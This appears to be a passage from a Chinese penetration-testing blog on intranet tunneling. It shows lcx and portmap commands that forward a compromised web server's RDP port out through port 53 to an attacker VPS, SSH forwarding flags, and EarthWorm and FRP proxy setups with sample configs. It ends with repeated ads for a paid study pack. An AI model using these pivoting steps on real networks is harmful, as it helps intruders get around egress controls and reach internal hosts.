内网隧道代理技术_正向代理隧道，【工作经验分享

2、在vps上运行以下命令，将本机6666端口的流量转发到本机的7777端口

./portmap -m 2 -p1 6666 -h2 139...139 -p2 7777

3、我们只需在攻击机器上运行一个Navicat连接到vps的7777端口，就可以连接到被控主机内网172.16.10.2中的mysql服务中

实战场景二

Web服务器开启了80端口，但3389端口不允许出网，可以将web服务器的3389端口转发到允许出网的53端口，这个时候攻击者在VPS监听53端口并且转发到1111端口，这个时候攻击者连接VPS的1111端口， 等于访问web服务器的3389端口（53端口为dns服务，默认开启）

实验拓扑

实验环境

机器名称	机器IP
vps服务器	139.*.*.139
web服务器	172.16.10.2

实验步骤

1、在攻击机器上运行以下命令，监听本地53端口并且转发到VPS1111端口

lcx.exe -slave 139...139 53 127.0.0.1 3389

2、在vps运行以下命令，将本地的53端口转发到本地的1111端口

./portmap -m 2 -p1 53 -p2 1111

3、在内网攻击机器上连接公网vps的1111端口就能访问web服务器的3389端口

（注：没有找到当时的截图，随便找了一个，理解意思就行）

实战场景三

由于配置了规则允许web出网，这个时候如果我们想访问3389端口，就可以用LCX进行端口转发

Web 服务器开启了80端口，3389端口不允许出网，可以通过lcx来将web服务器的3389端口转发到允许出网的53端口，这个时候我们再在vps上启用lcx监听53端口的流量并转发到1111端口，最后直接连接vps的的1111端口，就相当于访问web服务器的3389端口（这里的web服务器是可以在外网访问的）

实验拓扑

实验环境

机器名称	机器IP
vps服务器	139.*.*.139
web服务器	118.*.*.180

实验步骤

1、在攻击机器上运行以下命令，监听本地53端口并且转发到本地1111端口

lcx.exe -listen 53 1111

2、在web靶机上运行以下命令， 将本地的3389端口转发到139.*.*.139的53端口

lcx.exe -slave 139...139 53 127.0.0.1 3389

3、在攻击机器上运行远程桌面，地址为139.*.*.139:1111，就能连接web服务器的3389端口

SSH

SSH通过网络远程访问主机提供保护，可以对客户端和服务端之间的数据传输进行压缩和加密，有身份验证、SCP、SFTP、和端口转发的功能

SSH转发常用的参数介绍：

参数	作用
-C	请求压缩所有数据
-D	动态转发，即socks代理
-f	后台执行SSH指令
-g	允许远程主机连接主机的转发端口
-L	本地转发
-N	不执行远程命令，处于等待状态
-R	远程转发

正向转发

反向转发

动态转发

Netsh

全局代理工具

当我们想让我们的电脑全局都走代理的时候，就需要使用到全局代理，设置了全局代理我们的所有工具不需要再做任何的配置，所有使用的工具如dirsearch、BP、浏览器等都不用做任何的配置，默认就走代理，这种方式最推荐

SSTAP

Shadswsocks

应用层代理工具

Proxyifile 和 ProxyChains 都是非常出名代理连接工具，Proxyifile 一般是Windows代理连接的工具，而 ProxyChains 是 Linux 代理连接工具

Proxyifile

Proxifier是一款功能非常强大的socks5客户端，可以让不支持通过代理服务器工作的网络程序能通过HTTPS或SOCKS或代理链

ProxyChains

ProxyChains 是 Linux 和其他 Unix 下的代理工具，它可以使任何程序通过代理上网， 允许TCP和DNS通过代理隧道， 支持 HTTP、SOCKS4 和 SOCKS5 类型的代理服务器， 并且可配置多个代理

内网代理工具

EW

Earthworm简称EW，是一套便携式的网络穿透工具，具有 SOCKS v5服务架设和端口转发两大核心功能，可在复杂网络环境下完成网络穿透

该工具已经停止维护和下载：EarthWorm

该工具支持端口转发，正向代理，反向代理，多级代理等方式，可以打通一条网络隧道，直达网络深处

下载地址：https://github.com/idlefire/ew

一级正向代理

二级正向代理

一级反向代理

二级反向代理

FRP

frp (Fast Reverse Proxy) 是一个轻量型的使用 Go 语言开发的高性能的反向代理应用，可以轻松地进行内网穿透，对外网提供服务，被誉为内网穿透神器

frp 支持TCP、UDP、HTTP、HTTPS等协议类型，他支持点对点的转发，还有全流量转发，frp最大的一个特点是使用SOCKS代理，而SOCKS是加密通信的，类似于做了一个加密的隧道，可以把外网的流量，通过加密隧道穿透到内网，效果有些类似于VPN

frp 配置有两步骤，将 frps 及 frps.ini 放到具有公网 IP 的机器上，将 frpc 及 frpc.ini 放到处于内网环境的机器上

注：现在 frp 已经不支持 .ini 的文件，需要使用 .toml 做配置文件

下载地址：Release v0.52.3 · fatedier/frp · GitHub

官方文档：文档 | frp

FRP的代理类型

类型	描述
tcp	单纯的 TCP 端口映射，服务端会根据不同的端口路由到不同的内网服务
udp	单纯的 UDP 端口映射，服务端会根据不同的端口路由到不同的内网服务
http	针对 HTTP 应用定制了一些额外的功能，例如修改 Host Header，增加鉴权
https	针对 HTTPS 应用定制了一些额外的功能
stcp	安全的 TCP 内网代理，需要在被访问者和访问者的机器上都部署 frpc，不需要在服务端暴露端口
sudp	安全的 UDP 内网代理，需要在被访问者和访问者的机器上都部署 frpc，不需要在服务端暴露端口
xtcp	点对点内网穿透代理，功能同 stcp，但是流量不需要经过服务器中转
tcpmux	支持服务端 TCP 端口的多路复用，通过同一个端口访问不同的内网服务

FRP的启动

frp工具不管是Linux启动还是Windows上启动选项命令都一致

服务端配置

服务端代理配置文件名为frps.toml，frp安装包中自带，下面会详细介绍其配置文件

代理启动命令，使用 frps 运行 frp.toml 配置文件

./frps -c ./frps.toml

客户端配置

客户端代理配置文件名为frpc.toml，在frp安装包中自带

代理启动命令，使用 frpc 运行 frpc.toml 配置文件

./frpc -c ./frpc.toml

FRP配置文件

服务端

[common]

frp监听的端口，默认是7000，可以改成其他的

bind_port = 7000

授权码，请改成更复杂的

token = 52010 # 这个token之后在客户端会用到

frp管理后台端口，请按自己需求更改

dashboard_port = 7500

frp管理后台用户名和密码，请改成自己的

dashboard_user = admin
dashboard_pwd = admin
enable_prometheus = true

frp日志配置

log_file = /var/log/frps.log
log_level = info
log_max_days = 3

这服务端的配置文件中，不需要的功能可以不写上去，只写需要使用的功能配置

客户端

客户端配置

[common]
server_addr = 服务器ip
server_port = 7000 # 与frps.ini的bind_port一致
token = 52010 # 与frps.ini的token一致

配置ssh服务

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000 # 这个自定义，远程服务端口（需要使用这个端口来访问客户端的网络）

配置http服务，可用于小程序开发、远程调试等，如果没有可以不写下面的

[web]
type = http
local_ip = 127.0.0.1
local_port = 8080
subdomain = test.hijk.pw # web域名

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。

深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点，真正体系化！

由于文件比较大，这里只是将部分目录大纲截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且后续会持续更新

如果你觉得这些内容对你有帮助，可以添加VX：vip204888 （备注网络安全获取）

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供：

因篇幅有限，仅展示部分资料

网络安全面试题

绿盟护网行动

还有大家最喜欢的黑客技术

网络安全源码合集+工具包

所有资料共282G，朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》，可以扫描下方二维码领取（如遇扫码问题，可以在评论区留言领取哦）~

一个人可以走的很快，但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎扫码加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

e53639406fead3d3f03c.jpeg)

网络安全源码合集+工具包

所有资料共282G，朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》，可以扫描下方二维码领取（如遇扫码问题，可以在评论区留言领取哦）~

一个人可以走的很快，但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎扫码加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！
[外链图片转存中…(img-OLDqLhhc-1712785058519)]